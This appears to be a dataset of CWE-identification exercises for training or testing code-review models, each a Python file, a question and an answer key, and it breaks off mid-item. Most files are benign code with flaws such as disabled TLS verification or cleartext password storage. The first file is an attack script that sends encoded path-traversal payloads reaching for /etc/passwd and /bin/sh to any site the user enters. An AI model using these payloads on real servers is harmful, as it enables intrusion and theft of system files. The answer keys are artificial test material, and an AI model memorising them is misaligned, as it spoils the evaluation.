OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

def pathnya():
    path1 = '/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd'
    path2 = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
    path3 = '/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd'
    path4 = '/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
    # ff = "/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
    # ff = "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
    # ff = "/icons/.%2e/.%2e/.%2e/.%2e/bin/sh"
    # ff = "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
    # ff = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
    # ff = "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
    # ff = "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
    return path1, path2, path3, path4

def masukannya():
    path1, path2, path3, path4 = pathnya()
    masukan = str(input("Masukan Nama Webnya: "))
    while (True):
        for a in masukan:
            if a in masukan:
                uri = requests.get('http://'+masukan, path1, verify=False, timeout=3)
                print("Webnya: ", masukan, uri.status_code)
                break
            else:
                print('Error Tahap 1')
                break
        for b in masukan:
            if b in masukan:
                uri = requests.get('http://'+masukan, path2, verify=False, timeout=3)
                print("Webnya: ", masukan, uri.status_code)
                break
            else:
                print('Error Tahap 2')
                break
        for c in masukan:
            if c in masukan:
                uri = requests.get('http://'+masukan, path3, verify=False, timeout=3)
                print("Webnya: ", masukan, uri.status_code)
                break
            else:
                print('Error Tahap 3')
                break
        for d in masukan:
            if d in masukan:
                uri = requests.get('http://'+masukan, path4, verify=False, timeout=3)
                print("Webnya: ", masukan, uri.status_code)
                break
            else:
                print('Error Tahap 4')
                break
            break
        break

pathnya()
masukannya()
```

Name the function or class in this code that contains a `CWE-295: Improper Certificate Validation` vulnerability.
Answer: masukannya
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, request, abort

app = Flask(__name__)


@app.route('/')
def welcome():
    return "Basic webserver, returns data received through /add_message"


@app.route('/add_message', methods=['POST'])
def add_message():
    if request.method == 'POST':
        if request.data:
            print "received:", request.data
            return request.data
        else:
            print "No data received"
            abort(204)
    else:
        print "Method not supported!"
        abort(405)

if __name__ == "__main__":
    app.run(host="localhost", port=int("8087"))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-209: Generation of Error Message Containing Sensitive Information
  B) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  C) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  D) CWE-611: Improper Restriction of XML External Entity Reference
  E) CWE-1333: Inefficient Regular Expression Complexity
  F) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# coding: utf-8
import requests
from functools import wraps

VERSION = 'v1'
PAGESIZE = 10

def must_have_token(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        if not args[0].token:
            raise ValueError('You must specify a valid user token to use this method')
        result = func(*args, **kwargs)
        return result
    return wrapper

class Client(object):

    def __init__(self, usertoken=None):
        self.token = usertoken
        self.api_url = 'https://doaj.org/api/%s/' % VERSION

    def ping(self):

        url = self.api_url+'swagger.json'
        response = self.request_get(url, raw=True)

        if response.status_code == 200:
            return True

        return False

    def request_get(self, url, payload=None, raw=False, verify_ssl=False):

        if not isinstance(payload, dict):
            payload = {}

        response = requests.get(url, params=payload, verify=verify_ssl)

        if raw:
            return response

        return response.json()

```

Name the function or class in this code that contains a `CWE-295: Improper Certificate Validation` vulnerability.
Answer: request_get
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

modules = ['urllib','requests','random','click','os']

for module in modules:
    try:
        __import__(module)
    except Exception as e:
        print('Installing modules...')
        os.system('pip3 install ' + str(module))
#        os.system('clear')

import click

@click.command()
@click.option('--name', prompt=True, help="Your name:")
@click.option('--passwd', prompt='Your password', hide_input=True, confirmation_prompt=True, help='Password')
def ask(name, passwd):
    print('Hi, %s' % name)
    if passwd:
        print('Password: %s' % passwd)


if __name__ == '__main__':
    ask()

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  B) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  C) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  D) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  E) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python

import json
from jinja2 import Template, Environment, FileSystemLoader

id_counter = 0

def counter():
	global id_counter
	id_counter += 1
	return '{}'.format(id_counter)

def reset_counter():
	global id_counter
	id_counter = 0
	return ''

def main(data, template, output_file):
	env = Environment()
	env.loader = FileSystemLoader('.')
	t = env.get_template(template)
	t.globals['counter'] = counter
	t.globals['reset_counter'] = reset_counter
	open(output_file, 'w').write(t.render(json.load(open(data))))

if __name__ == '__main__':
    main('menu.json', 'template_menu.txt', 'Menu.h')
    main('menu.json', 'template_btn.txt', 'BtnHandlers.h')
    main('menu.json', 'template_up.txt', 'UpHandlers.h')
    main('menu.json', 'template_dwn.txt', 'DwnHandlers.h')

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-377: Insecure Temporary File
  B) CWE-116: Improper Encoding or Escaping of Output
  C) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  D) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  E) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  F) CWE-326: Inadequate Encryption Strength
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python

import json
from jinja2 import Template, Environment, FileSystemLoader

id_counter = 0

def counter():
	global id_counter
	id_counter += 1
	return '{}'.format(id_counter)

def reset_counter():
	global id_counter
	id_counter = 0
	return ''

def main(data, template, output_file):
	env = Environment()
	env.loader = FileSystemLoader('.')
	t = env.get_template(template)
	t.globals['counter'] = counter
	t.globals['reset_counter'] = reset_counter
	open(output_file, 'w').write(t.render(json.load(open(data))))

if __name__ == '__main__':
    main('menu.json', 'template_menu.txt', 'Menu.h')
    main('menu.json', 'template_btn.txt', 'BtnHandlers.h')
    main('menu.json', 'template_up.txt', 'UpHandlers.h')
    main('menu.json', 'template_dwn.txt', 'DwnHandlers.h')

```

Which of the following functions or classes contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability?

  A) reset_counter
  B) counter
  C) main
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python

import json
from jinja2 import Template, Environment, FileSystemLoader

id_counter = 0

def counter():
	global id_counter
	id_counter += 1
	return '{}'.format(id_counter)

def reset_counter():
	global id_counter
	id_counter = 0
	return ''

def main(data, template, output_file):
	env = Environment()
	env.loader = FileSystemLoader('.')
	t = env.get_template(template)
	t.globals['counter'] = counter
	t.globals['reset_counter'] = reset_counter
	open(output_file, 'w').write(t.render(json.load(open(data))))

if __name__ == '__main__':
    main('menu.json', 'template_menu.txt', 'Menu.h')
    main('menu.json', 'template_btn.txt', 'BtnHandlers.h')
    main('menu.json', 'template_up.txt', 'UpHandlers.h')
    main('menu.json', 'template_dwn.txt', 'DwnHandlers.h')

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: main
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import json
##birthday_dict = {
##    'Colby': '05/25/1991',
##    'Tiffany': "09/27/1990",
##    'Albert': '03/14/1879',
##    'Rowan': '01/06/1955'
##}
##
##with open("birthday.json", "w") as f:
##    json.dump(birthday_dict, f)

def read_dict():
    with open("birthday.json", "r") as f:
        birthdays = json.load(f)
        return birthdays

def write_to_dict():
    person = input("Please input the name: ")
    date = input("Please input the birthday (MM/DD/YYYY): ")
    birthdays[name] = date
    with open("birthday.json", "w") as f:
        json.dump(birthdays, f)


if __name__ == '__main__':
    birthdays = read_dict()
    print('Welcome to the birthday dictionary.')
    print('We know the birthdays of: ')
    for name in birthdays:
        print(name)

    name = input('Who\'s birthday would you like to look up? ')
    if name in birthdays:
        print("{}\'s birthday is {}.".format(name, birthdays[name]))
    else:
        print("We don't have that birthday in the dictionary. ")
        print("Please enter the Name and Birthday in the prompts.")
        write_to_dict()

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-312: Cleartext Storage of Sensitive Information
  B) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  C) CWE-732: Incorrect Permission Assignment for Critical Resource
  D) CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  E) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  F) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
"""Kazoo Security

This modules includes helper functions to create digest ACL's appropriate for
use with Zookeeper.

"""
import hashlib

import zookeeper


__all__ = ("make_digest_acl", )


def make_digest_acl_credential(username, password):
    """Create a SHA1 digest credential"""
    credential = "%s:%s" % (username, password)
    cred_hash = hashlib.sha1(credential).digest().encode('base64').strip()
    return "%s:%s" % (username, cred_hash)


def make_acl(scheme, credential, read=False, write=False,
             create=False, delete=False, admin=False, all=False):
    """Given a scheme and credential, return an ACL dict appropriate for
    Zookeeper"""
    if all:
        permissions = ACLPermission.ALL
    else:
        permissions = 0
        if read:
            permissions |= ACLPermission.READ
        if write:
            permissions |= ACLPermission.WRITE
        if create:
            permissions |= ACLPermission.CREATE
        if delete:
            permissions |= ACLPermission.DELETE
        if admin:
            permissions |= ACLPermission.ADMIN

    return dict(scheme=scheme, id=credential, perms=permissions)


def make_digest_acl(username, password, read=False, write=False,
                    create=False, delete=False, admin=False, all=False):
    """Create a digest ACL for Zookeeper with the given permissions"""
    cred = make_digest_acl_credential(username, password)
    return make_acl("digest", cred, read=read, write=write, create=create,
        delete=delete, admin=admin, all=all)


class ACLPermission(object):
    """ACL Permission object"""
    READ = zookeeper.PERM_READ
    WRITE = zookeeper.PERM_WRITE
    CREATE = zookeeper.PERM_CREATE
    DELETE = zookeeper.PERM_DELETE
    ADMIN = zookeeper.PERM_ADMIN
    ALL = zookeeper.PERM_ALL

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  B) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  C) CWE-732: Incorrect Permission Assignment for Critical Resource
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  F) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
"""Kazoo Security

This modules includes helper functions to create digest ACL's appropriate for
use with Zookeeper.

"""
import hashlib

import zookeeper


__all__ = ("make_digest_acl", )


def make_digest_acl_credential(username, password):
    """Create a SHA1 digest credential"""
    credential = "%s:%s" % (username, password)
    cred_hash = hashlib.sha1(credential).digest().encode('base64').strip()
    return "%s:%s" % (username, cred_hash)


def make_acl(scheme, credential, read=False, write=False,
             create=False, delete=False, admin=False, all=False):
    """Given a scheme and credential, return an ACL dict appropriate for
    Zookeeper"""
    if all:
        permissions = ACLPermission.ALL
    else:
        permissions = 0
        if read:
            permissions |= ACLPermission.READ
        if write:
            permissions |= ACLPermission.WRITE
        if create:
            permissions |= ACLPermission.CREATE
        if delete:
            permissions |= ACLPermission.DELETE
        if admin:
            permissions |= ACLPermission.ADMIN

    return dict(scheme=scheme, id=credential, perms=permissions)


def make_digest_acl(username, password, read=False, write=False,
                    create=False, delete=False, admin=False, all=False):
    """Create a digest ACL for Zookeeper with the given permissions"""
    cred = make_digest_acl_credential(username, password)
    return make_acl("digest", cred, read=read, write=write, create=create,
        delete=delete, admin=admin, all=all)


class ACLPermission(object):
    """ACL Permission object"""
    READ = zookeeper.PERM_READ
    WRITE = zookeeper.PERM_WRITE
    CREATE = zookeeper.PERM_CREATE
    DELETE = zookeeper.PERM_DELETE
    ADMIN = zookeeper.PERM_ADMIN
    ALL = zookeeper.PERM_ALL

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) make_acl
  B) ACLPermission
  C) make_digest_acl
  D) make_digest_acl_credential
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
"""Kazoo Security

This modules includes helper functions to create digest ACL's appropriate for
use with Zookeeper.

"""
import hashlib

import zookeeper


__all__ = ("make_digest_acl", )


def make_digest_acl_credential(username, password):
    """Create a SHA1 digest credential"""
    credential = "%s:%s" % (username, password)
    cred_hash = hashlib.sha1(credential).digest().encode('base64').strip()
    return "%s:%s" % (username, cred_hash)


def make_acl(scheme, credential, read=False, write=False,
             create=False, delete=False, admin=False, all=False):
    """Given a scheme and credential, return an ACL dict appropriate for
    Zookeeper"""
    if all:
        permissions = ACLPermission.ALL
    else:
        permissions = 0
        if read:
            permissions |= ACLPermission.READ
        if write:
            permissions |= ACLPermission.WRITE
        if create:
            permissions |= ACLPermission.CREATE
        if delete:
            permissions |= ACLPermission.DELETE
        if admin:
            permissions |= ACLPermission.ADMIN

    return dict(scheme=scheme, id=credential, perms=permissions)


def make_digest_acl(username, password, read=False, write=False,
                    create=False, delete=False, admin=False, all=False):
    """Create a digest ACL for Zookeeper with the given permissions"""
    cred = make_digest_acl_credential(username, password)
    return make_acl("digest", cred, read=read, write=write, create=create,
        delete=delete, admin=admin, all=all)


class ACLPermission(object):
    """ACL Permission object"""
    READ = zookeeper.PERM_READ
    WRITE = zookeeper.PERM_WRITE
    CREATE = zookeeper.PERM_CREATE
    DELETE = zookeeper.PERM_DELETE
    ADMIN = zookeeper.PERM_ADMIN
    ALL = zookeeper.PERM_ALL

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: make_digest_acl_credential
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
"""This modules sends summary emails.
"""
from __future__ import print_function
import os
import time 
import datetime
import smtplib
from getpass import getpass
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from report import report
from lawyer import rules

TEXT = """
Current Cone Cache
------------------
Ley line of credit for each player:

{report}

Rules
-----

{rules}
"""

HTML = """
<html>
  <head></head>
  <body>
    <h2>Current Cone Cache</h2>
      Ley line of credit for each player:<br/><br/>
{report}
    <hr/>
    <h2>Rules</h2>
{rules}
  </body>
</html>
"""

def passwd(user):
    fname = '{0}.pw'.format(user.split('@', 1)[0])
    if not os.path.isfile(fname):
        pw = getpass('password for {0}:'.format(user))
        with open(fname, 'w') as f:
            f.write(pw)
    with open(fname, 'r') as f:
        pw = f.read()
    return pw

def send(trans):
    """Sends an email to the list."""
    me = 'pyne.raven@gmail.com'
    you = 'pyne-dev@googlegroups.com'
    today = datetime.date.today()

    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Magic Cones Report {0}'.format(today)
    msg['From'] = me
    msg['To'] = you

    # create content
    text = TEXT.format(report=report(trans), rules=rules())
    html = HTML.format(report=report(trans, html=True), rules=rules(html=True))
    part1 = MIMEText(text, 'plain')
    part2 = MIMEText(html, 'html')
    msg.attach(part1)
    msg.attach(part2)

    # Send the message
    pw = passwd(me)
    s = smtplib.SMTP('smtp.gmail.com', 587)
    #s.ehlo()
    s.starttls()
    #s.ehlo()
    s.login(me, pw)
    s.sendmail(me, you, msg.as_string())
    s.quit()

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-312: Cleartext Storage of Sensitive Information
  B) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  C) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  D) CWE-377: Insecure Temporary File
  E) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  F) CWE-918: Server-Side Request Forgery (SSRF)
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
"""This modules sends summary emails.
"""
from __future__ import print_function
import os
import time 
import datetime
import smtplib
from getpass import getpass
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from report import report
from lawyer import rules

TEXT = """
Current Cone Cache
------------------
Ley line of credit for each player:

{report}

Rules
-----

{rules}
"""

HTML = """
<html>
  <head></head>
  <body>
    <h2>Current Cone Cache</h2>
      Ley line of credit for each player:<br/><br/>
{report}
    <hr/>
    <h2>Rules</h2>
{rules}
  </body>
</html>
"""

def passwd(user):
    fname = '{0}.pw'.format(user.split('@', 1)[0])
    if not os.path.isfile(fname):
        pw = getpass('password for {0}:'.format(user))
        with open(fname, 'w') as f:
            f.write(pw)
    with open(fname, 'r') as f:
        pw = f.read()
    return pw

def send(trans):
    """Sends an email to the list."""
    me = 'pyne.raven@gmail.com'
    you = 'pyne-dev@googlegroups.com'
    today = datetime.date.today()

    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Magic Cones Report {0}'.format(today)
    msg['From'] = me
    msg['To'] = you

    # create content
    text = TEXT.format(report=report(trans), rules=rules())
    html = HTML.format(report=report(trans, html=True), rules=rules(html=True))
    part1 = MIMEText(text, 'plain')
    part2 = MIMEText(html, 'html')
    msg.attach(part1)
    msg.attach(part2)

    # Send the message
    pw = passwd(me)
    s = smtplib.SMTP('smtp.gmail.com', 587)
    #s.ehlo()
    s.starttls()
    #s.ehlo()
    s.login(me, pw)
    s.sendmail(me, you, msg.as_string())
    s.quit()

```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) passwd
  B) send
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
"""This modules sends summary emails.
"""
from __future__ import print_function
import os
import time 
import datetime
import smtplib
from getpass import getpass
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from report import report
from lawyer import rules

TEXT = """
Current Cone Cache
------------------
Ley line of credit for each player:

{report}

Rules
-----

{rules}
"""

HTML = """
<html>
  <head></head>
  <body>
    <h2>Current Cone Cache</h2>
      Ley line of credit for each player:<br/><br/>
{report}
    <hr/>
    <h2>Rules</h2>
{rules}
  </body>
</html>
"""

def passwd(user):
    fname = '{0}.pw'.format(user.split('@', 1)[0])
    if not os.path.isfile(fname):
        pw = getpass('password for {0}:'.format(user))
        with open(fname, 'w') as f:
            f.write(pw)
    with open(fname, 'r') as f:
        pw = f.read()
    return pw

def send(trans):
    """Sends an email to the list."""
    me = 'pyne.raven@gmail.com'
    you = 'pyne-dev@googlegroups.com'
    today = datetime.date.today()

    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Magic Cones Report {0}'.format(today)
    msg['From'] = me
    msg['To'] = you

    # create content
    text = TEXT.format(report=report(trans), rules=rules())
    html = HTML.format(report=report(trans, html=True), rules=rules(html=True))
    part1 = MIMEText(text, 'plain')
    part2 = MIMEText(html, 'html')
    msg.attach(part1)
    msg.attach(part2)

    # Send the message
    pw = passwd(me)
    s = smtplib.SMTP('smtp.gmail.com', 587)
    #s.ehlo()
    s.starttls()
    #s.ehlo()
    s.login(me, pw)
    s.sendmail(me, you, msg.as_string())
    s.quit()

```

Name the function or class in this code that contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability.
Answer: passwd
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# coding=utf-8
import requests,flask,json
from bs4 import BeautifulSoup


class SpamInfo(object):
    def __init__(self):
        self.is_mark = False
        self.mark_info = ''
        self.mark_topone = ''
        self.danger_levels = ''


class SpiderNumber(object):
    def __init__(self):
        self.target = 'https://directory.youmail.com/directory/phone/'
        self.headers = {'authority': 'directory.youmail.com',
                        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}

    # 判断是否是骚扰电话
    def get_phone_harassment(self, number):
        spam_info = SpamInfo()
        flag = False
        req = requests.get(url=self.target + number, headers=self.headers)
        bf = BeautifulSoup(req.text)
        # 查询该号码的危险等级
        result_item = bf.find('span', class_='safety-rating-text pull-right')
        if result_item:
            spam_info.danger_levels = result_item.text
            flag = True

        # 获取当前电话标记信息
        info = bf.find('h2', class_='phone-display-name')
        if info:
            spam_info.mark_info = info.text

        # 获取标记列表
        list = bf.find('div', class_='caller-name-chart-legend')
        if list:
            flag = True
            spam_info.mark_topone = str(list.text).strip().split('\n')[0]

        spam_info.is_mark = flag

        return spam_info


# if __name__ == '__main__':
#     sn = SpiderNumber()
#     info = sn.get_phone_harassment('8009556600')
#     print('是否标记：', info.is_mark)
#     print('标记信息：' + info.mark_info)
#     print('危险等级：' + info.danger_levels)
#     print('标记最多：' + info.mark_topone)



server = flask.Flask(__name__)
@server.route('/callblocker',methods=['get','post'])
def callblocker():
    number = flask.request.values.get('number')
    if number:
        sn = SpiderNumber()
        info = sn.get_phone_harassment(number)
        return json.dumps(info.__dict__)
    else:
        return json.dumps({'msg':'error'}, ensure_ascii=False)
server.run(port=7777,debug=False,host='0.0.0.0')
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  B) CWE-117: Improper Output Neutralization for Logs
  C) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  D) CWE-326: Inadequate Encryption Strength
  E) CWE-918: Server-Side Request Forgery (SSRF)
  F) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# coding=utf-8
import requests,flask,json
from bs4 import BeautifulSoup


class SpamInfo(object):
    def __init__(self):
        self.is_mark = False
        self.mark_info = ''
        self.mark_topone = ''
        self.danger_levels = ''


class SpiderNumber(object):
    def __init__(self):
        self.target = 'https://directory.youmail.com/directory/phone/'
        self.headers = {'authority': 'directory.youmail.com',
                        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}

    # 判断是否是骚扰电话
    def get_phone_harassment(self, number):
        spam_info = SpamInfo()
        flag = False
        req = requests.get(url=self.target + number, headers=self.headers)
        bf = BeautifulSoup(req.text)
        # 查询该号码的危险等级
        result_item = bf.find('span', class_='safety-rating-text pull-right')
        if result_item:
            spam_info.danger_levels = result_item.text
            flag = True

        # 获取当前电话标记信息
        info = bf.find('h2', class_='phone-display-name')
        if info:
            spam_info.mark_info = info.text

        # 获取标记列表
        list = bf.find('div', class_='caller-name-chart-legend')
        if list:
            flag = True
            spam_info.mark_topone = str(list.text).strip().split('\n')[0]

        spam_info.is_mark = flag

        return spam_info


# if __name__ == '__main__':
#     sn = SpiderNumber()
#     info = sn.get_phone_harassment('8009556600')
#     print('是否标记：', info.is_mark)
#     print('标记信息：' + info.mark_info)
#     print('危险等级：' + info.danger_levels)
#     print('标记最多：' + info.mark_topone)



server = flask.Flask(__name__)
@server.route('/callblocker',methods=['get','post'])
def callblocker():
    number = flask.request.values.get('number')
    if number:
        sn = SpiderNumber()
        info = sn.get_phone_harassment(number)
        return json.dumps(info.__dict__)
    else:
        return json.dumps({'msg':'error'}, ensure_ascii=False)
server.run(port=7777,debug=False,host='0.0.0.0')
```

Which of the following functions or classes contains a `CWE-918: Server-Side Request Forgery (SSRF)` vulnerability?

  A) get_phone_harassment
  B) SpiderNumber
  C) callblocker
  D) SpamInfo
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# coding=utf-8
import requests,flask,json
from bs4 import BeautifulSoup


class SpamInfo(object):
    def __init__(self):
        self.is_mark = False
        self.mark_info = ''
        self.mark_topone = ''
